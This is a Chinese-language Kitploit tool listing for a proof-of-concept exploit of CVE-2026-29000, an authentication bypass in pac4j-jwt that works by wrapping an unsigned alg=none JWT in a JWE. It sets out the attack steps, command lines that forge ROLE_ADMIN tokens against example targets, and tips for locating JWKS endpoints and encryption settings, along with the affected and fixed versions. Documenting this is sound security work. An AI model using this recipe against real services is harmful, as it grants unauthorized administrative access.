Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/strikoder-premium/cve-2026-29000-pac4j-jwt
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubstrikoder-premium/cve-2026-29000-pac4j-jwt

CVE-2026-29000-pac4j-jwt

CVE-2026-29000 PoC:pac4j-jwt PlainJWT-in-JWE 认证绕过。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
33个月前尚未审核

pac4j-jwe-forge (CVE-2026-29000)

CVE-2026-29000 的概念验证。针对 4.5.9、5.7.9 和 6.3.3 之前的 pac4j-jwt 版本。

该漏洞很直接:只要 JWT 被包装在有效的 JWE 中,库就会接受 PlainJWT(未签名,alg=none)。由于服务器通过 JWKS 端点公开其 RSA 公钥,任何人都可以将任意未签名的 JWT 加密成服务器会信任的 JWE——包括带有 ROLE_ADMIN 的 JWT。


工作原理

  1. 从目标的 JWKS 端点获取 RSA 公钥
  2. 构建一个带有任意声明的未签名 JWT(alg=none)
  3. 使用服务器的公钥对其进行加密
  4. 将生成的 JWE 作为 Bearer 令牌发送

服务器解密它,信任其中的声明,并且从不检查内部 JWT 是否未签名。


环境要求

Python 3.13+ 并安装 uv,或手动安装依赖:

root@kitploit:~
pip install jwcrypto requests

使用方法

root@kitploit:~
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]

必需参数:

flag描述
--url目标的基础 URL,例如 http://10.10.11.x:8080
--jwksJWKS 端点的路径或完整 URL

可选参数:

示例:

root@kitploit:~
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks

python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN

python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM

查找 JWKS 端点

并不总是显而易见的。值得查看的位置:

  • /robots.txt — 通常会列出受限或内部路径
  • /api/auth/jwks
  • /.well-known/jwks.json
  • /.well-known/openid-configuration

查找正确的 alg/enc

如果令牌被拒绝,应用可能期望特定的加密算法。检查 /static/js/app.js 中是否有类似内容:

root@kitploit:~
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";

然后使用 --enc A128GCM 重新运行。

令牌存储方式通常也在其中:

root@kitploit:~
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }
}

如果是 sessionStorage,直接在 DevTools 的 Application > Session Storage 下替换令牌。


受影响版本

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

已在 4.5.9、5.7.9 和 6.3.3 中修复。

下载工具
flag默认值描述
--useradminsub 声明的值
--roleROLE_ADMIN要伪造的角色(ROLE_ADMIN、ROLE_MANAGER、ROLE_USER)
--issuerprincipal-platformiss 声明的值
--encA256GCMJWE 内容加密(A256GCM 或 A128GCM)